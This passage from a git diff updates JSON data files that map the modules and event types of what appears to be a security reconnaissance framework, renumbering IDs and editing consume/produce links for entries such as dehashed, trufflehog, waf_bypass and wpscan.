19, + 18, + 20, 21, - 22, - 26, + 25, + 27, 28, 29, - 30, + 31, 32, 33, 34, 35, - 36, + 37, 38, - 39, + 42, 43, - 44, - 47, + 46, + 51, 52, 53, 54, 55, - 56, + 57, 58, 59, 60, 61, - 62, - 64, - 70, - 81, + 63, + 69, + 79, + 84, 86, - 88, - 96, - 100, - 107, - 111, - 113, + 94, + 98, + 106, + 110, + 112, + 115, 116, - 117, + 120, 121, - 122, - 124, - 128, + 123, + 127, + 131, 132, 133, 134, 135, 136, - 137, - 140, + 139, + 142, 143, 144, - 145, - 147, + 146, + 150, 151, 154, - 155, - 157 + 158 ], "produces": [ 6, - 21, - 28, + 20, + 27, + 34, 35, - 36, + 37, 38, 39, - 40, + 42, 43, - 44, + 51, 52, - 53, - 55, + 54, + 57, 58, 59, 60, 61, 62, - 63, - 81, - 96, - 100, - 107, - 111, - 114, + 79, + 94, + 98, + 106, + 110, + 113, + 115, 116, - 117, - 121, - 128, - 132, + 120, + 127, + 131, + 133, 134, 135, - 136, - 140, + 139, + 141, 142, 143, - 144, - 147, + 146, + 150, 151, 152, 154, - 155, - 157 + 158 ] }, { - "id": 23, + "id": 22, "name": "DNS_NAME_UNRESOLVED", "parent": 88888888, "consumes": [ - 22, - 140, - 145 + 21, + 139, + 144 ], "produces": [] }, { - "id": 48, + "id": 47, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ - 71 + 70 ], "produces": [ - 47, - 54, - 60, - 64, - 70, - 88, - 100, - 122, - 133, - 137, - 142 + 46, + 53, + 59, + 63, + 69, + 86, + 98, + 121, + 132, + 136, + 141 ] }, { @@ -204,21 +204,21 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ - 75, - 106, - 148, - 149 + 104, + 105, + 147, + 148 ], "produces": [ 8, - 65, - 79, - 84, - 85, - 89, - 106, - 127, - 149 + 64, + 77, + 82, + 83, + 87, + 104, + 126, + 148 ] }, { @@ -227,61 +227,63 @@ "parent": 88888888, "consumes": [ 15, - 159 + 160 ], "produces": [ 1, - 22, - 24, + 14, + 21, + 23, + 25, 26, - 27, + 28, 29, - 30, + 31, 32, 33, - 34, - 37, - 83, - 91, + 36, + 68, + 80, + 81, + 89, + 93, 95, 97, - 99, + 107, 108, 109, - 112, + 111, + 113, 114, - 115, - 118, - 119, + 128, 129, - 130, - 135, - 138, - 140, - 146, - 148, - 150, - 160 + 134, + 137, + 139, + 145, + 147, + 149, + 161 ] }, { - "id": 103, + "id": 101, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 102, - 105 + 100, + 103 ] }, { - "id": 49, + "id": 48, "name": "HASHED_PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { @@ -291,25 +293,26 @@ "consumes": [ 1, 15, - 27, - 69, - 72, - 79, - 91, - 97, + 26, + 68, + 71, + 77, + 89, + 95, + 111, 112, 113, - 114, + 117, 118, 119, - 120, - 140, - 146, - 148, - 160 + 139, + 145, + 147, + 161 ], "produces": [ - 98 + 96, + 152 ] }, { @@ -319,30 +322,30 @@ "consumes": [ 11, 15, - 40, + 39, + 100, 102, - 104, - 105, - 113, - 124, - 135, - 140 + 103, + 112, + 123, + 134, + 139 ], "produces": [ 15, - 40, - 63, - 104, - 140 + 39, + 62, + 102, + 139 ] }, { - "id": 125, + "id": 124, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 124, - 140 + 123, + 139 ], "produces": [] }, @@ -354,7 +357,7 @@ 8 ], "produces": [ - 92 + 90 ] }, { @@ -363,151 +366,152 @@ "parent": 88888888, "consumes": [ 15, - 80, - 98, - 113, - 123, - 142 + 78, + 96, + 112, + 122, + 141 ], "produces": [ 15, - 40, - 124, - 135, - 140 + 39, + 123, + 134, + 139 ] }, { - "id": 41, + "id": 40, "name": "OPEN_UDP_PORT", "parent": 88888888, "consumes": [], "produces": [ - 40 + 39 ] }, { - "id": 67, + "id": 66, "name": "ORG_STUB", "parent": 88888888, "consumes": [ - 66, - 87, - 92, - 126 + 65, + 85, + 90, + 125 ], "produces": [ - 140 + 139 ] }, { - "id": 50, + "id": 49, "name": "PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { - "id": 42, + "id": 41, "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 108, - 110, - 113 + 107, + 109, + 112 ], "produces": [ - 40, - 80 + 39, + 78 ] }, { - "id": 57, + "id": 56, "name": "RAW_DNS_RECORD", "parent": 88888888, "consumes": [], "produces": [ - 56, - 63, - 64 + 55, + 62, + 63 ] }, { - "id": 73, + "id": 72, "name": "RAW_TEXT", "parent": 88888888, "consumes": [ - 72, - 148 + 71, + 147 ], "produces": [ - 75 + 105 ] }, { - "id": 68, + "id": 67, "name": "SOCIAL", "parent": 88888888, "consumes": [ - 66, - 87, - 90, - 91, - 93, - 126, - 140 - ], - "produces": [ - 66, + 65, + 85, 88, + 89, 91, + 125, 139 + ], + "produces": [ + 65, + 86, + 89, + 138 ] }, { - "id": 25, + "id": 24, "name": "STORAGE_BUCKET", "parent": 88888888, "consumes": [ - 24, + 23, + 28, 29, 30, 31, 32, 33, - 34, - 140 + 139 ], "produces": [ + 28, 29, - 30, + 31, 32, - 33, - 34 + 33 ] }, { - "id": 17, + "id": 5, "name": "TECHNOLOGY", "parent": 88888888, "consumes": [ 15, - 91, - 159, - 160 + 89, + 160, + 161 ], "produces": [ - 27, - 40, - 69, + 1, + 26, + 39, + 68, + 89, 91, - 93, - 115, - 135, - 160 + 114, + 134, + 161 ] }, { @@ -518,167 +522,151 @@ 1, 14, 15, - 24, - 37, - 76, - 82, - 83, + 23, + 36, + 74, + 80, + 81, + 91, 93, - 95, - 98, - 101, - 109, + 96, + 99, + 108, + 113, 114, - 115, - 123, - 131, - 138, - 140, - 146, - 150, + 122, + 130, + 137, + 139, + 145, + 149, 152, - 156, - 159 + 155, + 157, + 160 ], "produces": [ - 93, - 98 + 91, + 96 ] }, { - "id": 78, + "id": 76, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 77 + 75 ], "produces": [ - 101 + 99 ] }, { - "id": 20, + "id": 19, "name": "URL_UNVERIFIED", "parent": 88888888, "consumes": [ - 45, - 79, - 98, - 116, - 123, - 130, - 139, - 140 + 44, + 77, + 96, + 115, + 122, + 129, + 138, + 139 ], "produces": [ - 19, - 28, - 31, - 40, - 56, - 60, - 64, - 66, - 72, - 76, - 77, - 86, - 93, - 100, - 131, - 133, - 151, - 157, - 160 + 18, + 27, + 30, + 39, + 55, + 59, + 63, + 65, + 71, + 74, + 75, + 84, + 91, + 98, + 130, + 132, + 150, + 158, + 161 ] }, { - "id": 51, + "id": 50, "name": "USERNAME", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [ - 47, - 54 + 46, + 53 ] }, { "id": 153, - "name": "VHOST", + "name": "VIRTUAL_HOST", "parent": 88888888, "consumes": [ - 159 + 160 ], "produces": [ 152 ] }, { - "id": 5, + "id": 156, "name": "VULNERABILITY", "parent": 88888888, - "consumes": [ - 15, - 159 - ], + "consumes": [], "produces": [ - 1, - 14, - 22, - 24, - 26, - 27, - 69, - 82, - 109, - 110, - 115, - 135, - 146, - 148, - 160 + 155 ] }, { - "id": 18, + "id": 17, "name": "WAF", "parent": 88888888, "consumes": [ 15 ], "produces": [ - 156 + 157 ] }, { - "id": 94, + "id": 92, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 93 + 91 ] }, { - "id": 74, + "id": 73, "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 99, - 109, + 97, + 108, + 117, 118, 119, - 120, - 129, - 158 + 128, + 159 ], "produces": [ - 72, + 71, + 117, 118, - 119, - 120 + 119 ] }, { @@ -735,7 +723,7 @@ 3 ], "produces": [ - 5 + 4 ] }, { @@ -748,10 +736,9 @@ 2, 12, 16, - 17, - 3, 5, - 18 + 3, + 17 ], "produces": [ 12, @@ -759,18 +746,18 @@ ] }, { - "id": 19, + "id": 18, "name": "azure_realm", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 20 + 19 ] }, { - "id": 21, + "id": 20, "name": "azure_tenant", "parent": 99999999, "consumes": [ @@ -781,45 +768,42 @@ ] }, { - "id": 22, + "id": 21, "name": "baddns", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 24, + "id": 23, "name": "baddns_direct", "parent": 99999999, "consumes": [ - 25, + 24, 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 26, + "id": 25, "name": "baddns_zone", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 27, + "id": 26, "name": "badsecrets", "parent": 99999999, "consumes": [ @@ -827,12 +811,11 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 28, + "id": 27, "name": "bevigil", "parent": 99999999, "consumes": [ @@ -840,87 +823,87 @@ ], "produces": [ 7, - 20 + 19 ] }, { - "id": 29, + "id": 28, "name": "bucket_amazon", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 30, + "id": 29, "name": "bucket_digitalocean", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 31, + "id": 30, "name": "bucket_file_enum", "parent": 99999999, "consumes": [ - 25 + 24 ], "produces": [ - 20 + 19 ] }, { - "id": 32, + "id": 31, "name": "bucket_firebase", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 33, + "id": 32, "name": "bucket_google", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 34, + "id": 33, "name": "bucket_microsoft", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 35, + "id": 34, "name": "bufferoverrun", "parent": 99999999, "consumes": [ @@ -931,7 +914,7 @@ ] }, { - "id": 36, + "id": 35, "name": "builtwith", "parent": 99999999, "consumes": [ @@ -942,7 +925,7 @@ ] }, { - "id": 37, + "id": 36, "name": "bypass403", "parent": 99999999, "consumes": [ @@ -953,7 +936,7 @@ ] }, { - "id": 38, + "id": 37, "name": "c99", "parent": 99999999, "consumes": [ @@ -964,7 +947,7 @@ ] }, { - "id": 39, + "id": 38, "name": "censys_dns", "parent": 99999999, "consumes": [ @@ -975,7 +958,7 @@ ] }, { - "id": 40, + "id": 39, "name": "censys_ip", "parent": 99999999, "consumes": [ @@ -985,14 +968,14 @@ 7, 12, 16, + 40, 41, - 42, - 17, - 20 + 5, + 19 ] }, { - "id": 43, + "id": 42, "name": "certspotter", "parent": 99999999, "consumes": [ @@ -1003,7 +986,7 @@ ] }, { - "id": 44, + "id": 43, "name": "chaos", "parent": 99999999, "consumes": [ @@ -1014,32 +997,32 @@ ] }, { - "id": 45, + "id": 44, "name": "code_repository", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ - 46 + 45 ] }, { - "id": 47, + "id": 46, "name": "credshed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 52, + "id": 51, "name": "crt", "parent": 99999999, "consumes": [ @@ -1050,7 +1033,7 @@ ] }, { - "id": 53, + "id": 52, "name": "crt_db", "parent": 99999999, "consumes": [ @@ -1061,21 +1044,21 @@ ] }, { - "id": 54, + "id": 53, "name": "dehashed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 55, + "id": 54, "name": "digitorus", "parent": 99999999, "consumes": [ @@ -1086,19 +1069,19 @@ ] }, { - "id": 56, + "id": 55, "name": "dnsbimi", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 57, - 20 + 56, + 19 ] }, { - "id": 58, + "id": 57, "name": "dnsbrute", "parent": 99999999, "consumes": [ @@ -1109,7 +1092,7 @@ ] }, { - "id": 59, + "id": 58, "name": "dnsbrute_mutations", "parent": 99999999, "consumes": [ @@ -1120,7 +1103,7 @@ ] }, { - "id": 60, + "id": 59, "name": "dnscaa", "parent": 99999999, "consumes": [ @@ -1128,12 +1111,12 @@ ], "produces": [ 7, - 48, - 20 + 47, + 19 ] }, { - "id": 61, + "id": 60, "name": "dnscommonsrv", "parent": 99999999, "consumes": [ @@ -1144,7 +1127,7 @@ ] }, { - "id": 62, + "id": 61, "name": "dnsdumpster", "parent": 99999999, "consumes": [ @@ -1155,157 +1138,146 @@ ] }, { - "id": 63, + "id": 62, "name": "dnsresolve", "parent": 99999999, "consumes": [], "produces": [ 7, 12, - 57 + 56 ] }, { - "id": 64, + "id": 63, "name": "dnstlsrpt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 57, - 20 + 47, + 56, + 19 ] }, { - "id": 65, + "id": 64, "name": "docker_pull", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 66, + "id": 65, "name": "dockerhub", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46, - 68, - 20 + 45, + 67, + 19 ] }, { - "id": 69, + "id": 68, "name": "dotnetnuke", "parent": 99999999, "consumes": [ 2 ], "produces": [ - 17, + 4, 5 ] }, { - "id": 70, + "id": 69, "name": "emailformat", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 71, + "id": 70, "name": "emails", "parent": 99999999, "consumes": [ - 48 + 47 ], "produces": [] }, { - "id": 72, + "id": 71, "name": "excavate", "parent": 99999999, "consumes": [ 2, - 73 - ], - "produces": [ - 20, - 74 - ] - }, - { - "id": 75, - "name": "extractous", - "parent": 99999999, - "consumes": [ - 10 + 72 ], "produces": [ + 19, 73 ] }, { - "id": 76, + "id": 74, "name": "ffuf", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 20 + 19 ] }, { - "id": 77, + "id": 75, "name": "ffuf_shortnames", "parent": 99999999, "consumes": [ - 78 + 76 ], "produces": [ - 20 + 19 ] }, { - "id": 79, + "id": 77, "name": "filedownload", "parent": 99999999, "consumes": [ 2, - 20 + 19 ], "produces": [ 10 ] }, { - "id": 80, + "id": 78, "name": "fingerprintx", "parent": 99999999, "consumes": [ 16 ], "produces": [ - 42 + 41 ] }, { - "id": 81, + "id": 79, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1316,153 +1288,153 @@ ] }, { - "id": 82, + "id": 80, "name": "generic_ssrf", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 5 + 4 ] }, { - "id": 83, + "id": 81, "name": "git", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 46, + 45, 4 ] }, { - "id": 84, + "id": 82, "name": "git_clone", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 85, + "id": 83, "name": "gitdumper", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 86, + "id": 84, "name": "github_codesearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 46, - 20 + 45, + 19 ] }, { - "id": 87, + "id": 85, "name": "github_org", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 88, + "id": 86, "name": "github_usersearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 68 + 47, + 67 ] }, { - "id": 89, + "id": 87, "name": "github_workflows", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 90, + "id": 88, "name": "gitlab_com", "parent": 99999999, "consumes": [ - 68 + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 91, + "id": 89, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ 2, - 68, - 17 + 67, + 5 ], "produces": [ - 46, + 45, 4, - 68, - 17 + 67, + 5 ] }, { - "id": 92, + "id": 90, "name": "google_playstore", "parent": 99999999, "consumes": [ - 46, - 67 + 45, + 66 ], "produces": [ 9 ] }, { - "id": 93, + "id": 91, "name": "gowitness", "parent": 99999999, "consumes": [ - 68, + 67, 3 ], "produces": [ - 17, + 5, 3, - 20, - 94 + 19, + 92 ] }, { - "id": 95, + "id": 93, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1473,7 +1445,7 @@ ] }, { - "id": 96, + "id": 94, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1484,7 +1456,7 @@ ] }, { - "id": 97, + "id": 95, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1495,13 +1467,13 @@ ] }, { - "id": 98, + "id": 96, "name": "httpx", "parent": 99999999, "consumes": [ 16, 3, - 20 + 19 ], "produces": [ 2, @@ -1509,18 +1481,18 @@ ] }, { - "id": 99, + "id": 97, "name": "hunt", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 100, + "id": 98, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1528,34 +1500,34 @@ ], "produces": [ 7, - 48, - 20 + 47, + 19 ] }, { - "id": 101, + "id": 99, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 78 + 76 ] }, { - "id": 102, + "id": 100, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 101 ] }, { - "id": 104, + "id": 102, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1566,18 +1538,18 @@ ] }, { - "id": 105, + "id": 103, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 101 ] }, { - "id": 106, + "id": 104, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1588,7 +1560,18 @@ ] }, { - "id": 107, + "id": 105, + "name": "kreuzberg", + "parent": 99999999, + "consumes": [ + 10 + ], + "produces": [ + 72 + ] + }, + { + "id": 106, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1599,42 +1582,41 @@ ] }, { - "id": 108, + "id": 107, "name": "legba", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ 4 ] }, { - "id": 109, + "id": 108, "name": "lightfuzz", "parent": 99999999, "consumes": [ 3, - 74 + 73 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 110, + "id": 109, "name": "medusa", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ - 5 + 4 ] }, { - "id": 111, + "id": 110, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1645,7 +1627,7 @@ ] }, { - "id": 112, + "id": 111, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1656,7 +1638,7 @@ ] }, { - "id": 113, + "id": 112, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1664,12 +1646,12 @@ 2, 12, 16, - 42 + 41 ], "produces": [] }, { - "id": 114, + "id": 113, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1682,7 +1664,7 @@ ] }, { - "id": 115, + "id": 114, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1690,24 +1672,23 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 116, + "id": 115, "name": "oauth", "parent": 99999999, "consumes": [ 7, - 20 + 19 ], "produces": [ 7 ] }, { - "id": 117, + "id": 116, "name": "otx", "parent": 99999999, "consumes": [ @@ -1718,45 +1699,43 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 119, + "id": 118, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 120, + "id": 119, "name": "paramminer_headers", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 74 + 73 ] }, { - "id": 121, + "id": 120, "name": "passivetotal", "parent": 99999999, "consumes": [ @@ -1767,65 +1746,65 @@ ] }, { - "id": 122, + "id": 121, "name": "pgp", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 123, + "id": 122, "name": "portfilter", "parent": 99999999, "consumes": [ 16, 3, - 20 + 19 ], "produces": [] }, { - "id": 124, + "id": 123, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 125 + 124 ], "produces": [ 16 ] }, { - "id": 126, + "id": 125, "name": "postman", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 127, + "id": 126, "name": "postman_download", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 128, + "id": 127, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1836,40 +1815,40 @@ ] }, { - "id": 129, + "id": 128, "name": "reflected_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 130, + "id": 129, "name": "retirejs", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ 4 ] }, { - "id": 131, + "id": 130, "name": "robots", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 20 + 19 ] }, { - "id": 132, + "id": 131, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1880,19 +1859,19 @@ ] }, { - "id": 133, + "id": 132, "name": "securitytxt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 20 + 47, + 19 ] }, { - "id": 134, + "id": 133, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1903,7 +1882,7 @@ ] }, { - "id": 135, + "id": 134, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1914,12 +1893,11 @@ 7, 4, 16, - 17, 5 ] }, { - "id": 136, + "id": 135, "name": "sitedossier", "parent": 99999999, "consumes": [ @@ -1930,18 +1908,18 @@ ] }, { - "id": 137, + "id": 136, "name": "skymem", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 138, + "id": 137, "name": "smuggler", "parent": 99999999, "consumes": [ @@ -1952,43 +1930,43 @@ ] }, { - "id": 139, + "id": 138, "name": "social", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ - 68 + 67 ] }, { - "id": 140, + "id": 139, "name": "speculate", "parent": 99999999, "consumes": [ - 141, + 140, 7, - 23, + 22, 2, 12, - 125, - 68, - 25, + 124, + 67, + 24, 3, - 20, - 51 + 19, + 50 ], "produces": [ 7, 4, 12, 16, - 67 + 66 ] }, { - "id": 142, + "id": 141, "name": "sslcert", "parent": 99999999, "consumes": [ @@ -1996,11 +1974,11 @@ ], "produces": [ 7, - 48 + 47 ] }, { - "id": 143, + "id": 142, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -2011,7 +1989,7 @@ ] }, { - "id": 144, + "id": 143, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -2022,17 +2000,17 @@ ] }, { - "id": 145, + "id": 144, "name": "subdomains", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [] }, { - "id": 146, + "id": 145, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2040,12 +2018,11 @@ 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 147, + "id": 146, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2056,22 +2033,21 @@ ] }, { - "id": 148, + "id": 147, "name": "trufflehog", "parent": 99999999, "consumes": [ - 46, + 45, 10, 2, - 73 + 72 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 149, + "id": 148, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2082,7 +2058,7 @@ ] }, { - "id": 150, + "id": 149, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2093,7 +2069,7 @@ ] }, { - "id": 151, + "id": 150, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2101,24 +2077,36 @@ ], "produces": [ 7, - 20 + 19 + ] + }, + { + "id": 151, + "name": "viewdns", + "parent": 99999999, + "consumes": [ + 7 + ], + "produces": [ + 7 ] }, { "id": 152, - "name": "vhost", + "name": "virtualhost", "parent": 99999999, "consumes": [ 3 ], "produces": [ 7, + 2, 153 ] }, { "id": 154, - "name": "viewdns", + "name": "virustotal", "parent": 99999999, "consumes": [ 7 @@ -2129,28 +2117,28 @@ }, { "id": 155, - "name": "virustotal", + "name": "waf_bypass", "parent": 99999999, "consumes": [ - 7 + 3 ], "produces": [ - 7 + 156 ] }, { - "id": 156, + "id": 157, "name": "wafw00f", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 18 + 17 ] }, { - "id": 157, + "id": 158, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2158,44 +2146,42 @@ ], "produces": [ 7, - 20 + 19 ] }, { - "id": 158, + "id": 159, "name": "web_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [] }, { - "id": 159, + "id": 160, "name": "web_report", "parent": 99999999, "consumes": [ 4, - 17, + 5, 3, - 153, - 5 + 153 ], "produces": [] }, { - "id": 160, + "id": 161, "name": "wpscan", "parent": 99999999, "consumes": [ 2, - 17 + 5 ], "produces": [ 4, - 17, - 20, - 5 + 5, + 19 ] } ] \ No newline at end of file diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 176e46f0a0..c703e67e7d 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -55,7 +55,7 @@ "type": "consumes" }, { - "source": 5, + "source": 4, "target": 14, "type": "produces" }, @@ -86,7 +86,7 @@ }, { "source": 15, - "target": 17, + "target": 5, "type": "consumes" }, { @@ -96,12 +96,7 @@ }, { "source": 15, - "target": 5, - "type": "consumes" - }, - { - "source": 15, - "target": 18, + "target": 17, "type": "consumes" }, { @@ -115,68 +110,68 @@ "type": "produces" }, { - "source": 19, + "source": 18, "target": 7, "type": "consumes" }, { - "source": 20, - "target": 19, + "source": 19, + "target": 18, "type": "produces" }, { - "source": 21, + "source": 20, "target": 7, "type": "consumes" }, { "source": 7, - "target": 21, + "target": 20, "type": "produces" }, { - "source": 22, + "source": 21, "target": 7, "type": "consumes" }, { - "source": 22, - "target": 23, + "source": 21, + "target": 22, "type": "consumes" }, { "source": 4, - "target": 22, - "type": "produces" - }, - { - "source": 5, - "target": 22, + "target": 21, "type": "produces" }, { - "source": 24, - "target": 25, + "source": 23, + "target": 24, "type": "consumes" }, { - "source": 24, + "source": 23, "target": 3, "type": "consumes" }, { "source": 4, - "target": 24, + "target": 23, "type": "produces" }, { - "source": 5, - "target": 24, + "source": 25, + "target": 7, + "type": "consumes" + }, + { + "source": 4, + "target": 25, "type": "produces" }, { "source": 26, - "target": 7, + "target": 2, "type": "consumes" }, { @@ -191,36 +186,36 @@ }, { "source": 27, - "target": 2, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 27, "type": "produces" }, { - "source": 17, + "source": 19, "target": 27, "type": "produces" }, { - "source": 5, - "target": 27, - "type": "produces" + "source": 28, + "target": 7, + "type": "consumes" }, { "source": 28, - "target": 7, + "target": 24, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 28, "type": "produces" }, { - "source": 20, + "source": 24, "target": 28, "type": "produces" }, @@ -231,7 +226,7 @@ }, { "source": 29, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -240,37 +235,37 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 29, "type": "produces" }, { "source": 30, - "target": 7, - "type": "consumes" - }, - { - "source": 30, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 4, + "source": 19, "target": 30, "type": "produces" }, { - "source": 25, - "target": 30, - "type": "produces" + "source": 31, + "target": 7, + "type": "consumes" }, { "source": 31, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 20, + "source": 4, + "target": 31, + "type": "produces" + }, + { + "source": 24, "target": 31, "type": "produces" }, @@ -281,7 +276,7 @@ }, { "source": 32, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -290,7 +285,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 32, "type": "produces" }, @@ -301,7 +296,7 @@ }, { "source": 33, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -310,7 +305,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 33, "type": "produces" }, @@ -320,17 +315,7 @@ "type": "consumes" }, { - "source": 34, - "target": 25, - "type": "consumes" - }, - { - "source": 4, - "target": 34, - "type": "produces" - }, - { - "source": 25, + "source": 7, "target": 34, "type": "produces" }, @@ -346,21 +331,21 @@ }, { "source": 36, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 36, "type": "produces" }, { "source": 37, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 37, "type": "produces" }, @@ -376,107 +361,107 @@ }, { "source": 39, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 39, - "type": "produces" - }, - { - "source": 40, "target": 12, "type": "consumes" }, { "source": 7, - "target": 40, + "target": 39, "type": "produces" }, { "source": 12, - "target": 40, + "target": 39, "type": "produces" }, { "source": 16, - "target": 40, + "target": 39, "type": "produces" }, { - "source": 41, - "target": 40, + "source": 40, + "target": 39, "type": "produces" }, { - "source": 42, - "target": 40, + "source": 41, + "target": 39, "type": "produces" }, { - "source": 17, - "target": 40, + "source": 5, + "target": 39, "type": "produces" }, { - "source": 20, - "target": 40, + "source": 19, + "target": 39, "type": "produces" }, { - "source": 43, + "source": 42, "target": 7, "type": "consumes" }, { "source": 7, - "target": 43, + "target": 42, "type": "produces" }, { - "source": 44, + "source": 43, "target": 7, "type": "consumes" }, { "source": 7, - "target": 44, + "target": 43, "type": "produces" }, { - "source": 45, - "target": 20, + "source": 44, + "target": 19, "type": "consumes" }, { - "source": 46, - "target": 45, + "source": 45, + "target": 44, "type": "produces" }, { - "source": 47, + "source": 46, "target": 7, "type": "consumes" 